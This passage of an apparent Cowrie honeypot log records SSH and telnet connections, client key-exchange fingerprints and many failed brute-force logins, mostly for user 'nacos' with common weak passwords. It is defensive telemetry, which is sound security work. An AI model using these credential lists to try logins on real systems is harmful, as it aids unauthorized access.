p521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:43.543075Z","src_ip":"36.253.9.69","session":"9014ea784b97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":37700,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcd66246dafb","protocol":"ssh","message":"New connection: 198.98.56.205:37700 (159.203.135.109:22) [session: bcd66246dafb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:44.218277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:44.223018Z","src_ip":"198.98.56.205","session":"bcd66246dafb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:44.228254Z","src_ip":"198.98.56.205","session":"bcd66246dafb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vboxuser","password":"123456","message":"login attempt [vboxuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:44.279514Z","src_ip":"198.98.56.205","session":"bcd66246dafb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"1qaz@WSX","message":"login attempt [nacos/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:44.605509Z","src_ip":"36.253.9.69","session":"9014ea784b97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:45.288577Z","src_ip":"198.98.56.205","session":"bcd66246dafb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:45.861271Z","src_ip":"36.253.9.69","session":"9014ea784b97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":42810,"dst_ip":"10.17.0.5","dst_port":22,"session":"92ace55a5033","protocol":"ssh","message":"New connection: 36.253.9.69:42810 (10.17.0.5:22) [session: 92ace55a5033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:46.069837Z"}
{"eventid":"cowrie.session.closed","duration":39.90189552307129,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:46.091462Z","src_ip":"192.211.53.160","session":"6b9bfe2b964f","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:46.096641Z","src_ip":"36.253.9.69","session":"92ace55a5033","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.225302934646606,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:46.191539Z","src_ip":"45.81.23.16","session":"6cac68ad381d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:46.319505Z","src_ip":"36.253.9.69","session":"92ace55a5033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36498,"dst_ip":"159.203.135.109","dst_port":23,"session":"21a38d6fed3b","protocol":"telnet","message":"New connection: 38.60.198.128:36498 (159.203.135.109:23) [session: 21a38d6fed3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:47.143976Z"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"live","message":"login attempt [nacos/live] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:47.268919Z","src_ip":"36.253.9.69","session":"92ace55a5033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37982,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0604491d993","protocol":"telnet","message":"New connection: 38.60.198.128:37982 (159.203.135.109:23) [session: e0604491d993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:47.637725Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:48.503170Z","src_ip":"36.253.9.69","session":"92ace55a5033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":43234,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5a127295f15","protocol":"ssh","message":"New connection: 36.253.9.69:43234 (10.17.0.5:22) [session: e5a127295f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:48.727096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:48.731438Z","src_ip":"36.253.9.69","session":"e5a127295f15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:48.957353Z","src_ip":"36.253.9.69","session":"e5a127295f15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"Changeme_123","message":"login attempt [nacos/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:49.939570Z","src_ip":"36.253.9.69","session":"e5a127295f15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:51.176006Z","src_ip":"36.253.9.69","session":"e5a127295f15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":43248,"dst_ip":"10.17.0.5","dst_port":22,"session":"701d28ccef72","protocol":"ssh","message":"New connection: 36.253.9.69:43248 (10.17.0.5:22) [session: 701d28ccef72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:51.413928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:51.418435Z","src_ip":"36.253.9.69","session":"701d28ccef72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:51.650652Z","src_ip":"36.253.9.69","session":"701d28ccef72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37274,"dst_ip":"159.203.135.109","dst_port":23,"session":"68b528757cad","protocol":"telnet","message":"New connection: 38.60.198.128:37274 (159.203.135.109:23) [session: 68b528757cad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:51.876830Z"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"1qaz@WSX3edc$RFV","message":"login attempt [nacos/1qaz@WSX3edc$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:52.656758Z","src_ip":"36.253.9.69","session":"701d28ccef72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.20374917984009,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:52.751092Z","src_ip":"38.60.198.128","session":"49048a6763ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:53.892648Z","src_ip":"36.253.9.69","session":"701d28ccef72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":43262,"dst_ip":"10.17.0.5","dst_port":22,"session":"241e6f682b75","protocol":"ssh","message":"New connection: 36.253.9.69:43262 (10.17.0.5:22) [session: 241e6f682b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:54.139190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:54.143831Z","src_ip":"36.253.9.69","session":"241e6f682b75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:54.388361Z","src_ip":"36.253.9.69","session":"241e6f682b75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"Passw0rd","message":"login attempt [nacos/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:55.440821Z","src_ip":"36.253.9.69","session":"241e6f682b75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46390,"dst_ip":"159.203.135.109","dst_port":23,"session":"09f32ced9b4b","protocol":"telnet","message":"New connection: 38.60.198.128:46390 (159.203.135.109:23) [session: 09f32ced9b4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:56.495320Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:56.689038Z","src_ip":"36.253.9.69","session":"241e6f682b75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":43270,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac4db5b38840","protocol":"ssh","message":"New connection: 36.253.9.69:43270 (10.17.0.5:22) [session: ac4db5b38840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:56.932252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:56.937785Z","src_ip":"36.253.9.69","session":"ac4db5b38840","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:57.188955Z","src_ip":"36.253.9.69","session":"ac4db5b38840","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"Ab123456","message":"login attempt [nacos/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:58.256311Z","src_ip":"36.253.9.69","session":"ac4db5b38840","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:59.505471Z","src_ip":"36.253.9.69","session":"ac4db5b38840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":46544,"dst_ip":"10.17.0.5","dst_port":22,"session":"06dabd35848f","protocol":"ssh","message":"New connection: 36.253.9.69:46544 (10.17.0.5:22) [session: 06dabd35848f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:59.761887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:59.766982Z","src_ip":"36.253.9.69","session":"06dabd35848f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:00.026005Z","src_ip":"36.253.9.69","session":"06dabd35848f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49890,"dst_ip":"159.203.135.109","dst_port":23,"session":"395ec2ab991c","protocol":"telnet","message":"New connection: 38.60.198.128:49890 (159.203.135.109:23) [session: 395ec2ab991c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:01.028049Z"}
{"eventid":"cowrie.session.closed","duration":45.22154188156128,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:01.033411Z","src_ip":"38.60.198.128","session":"c242fda77ca8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"Admin@9000","message":"login attempt [nacos/Admin@9000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:01.137438Z","src_ip":"36.253.9.69","session":"06dabd35848f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.08423066139221,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:01.152605Z","src_ip":"38.60.198.128","session":"ef7623c17b45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.42445349693298,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:02.282420Z","src_ip":"38.60.198.128","session":"1dc77d7b29ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:02.402818Z","src_ip":"36.253.9.69","session":"06dabd35848f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":46556,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcf89306300f","protocol":"ssh","message":"New connection: 36.253.9.69:46556 (10.17.0.5:22) [session: bcf89306300f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:02.629165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:02.635440Z","src_ip":"36.253.9.69","session":"bcf89306300f","protocol":"ssh"}
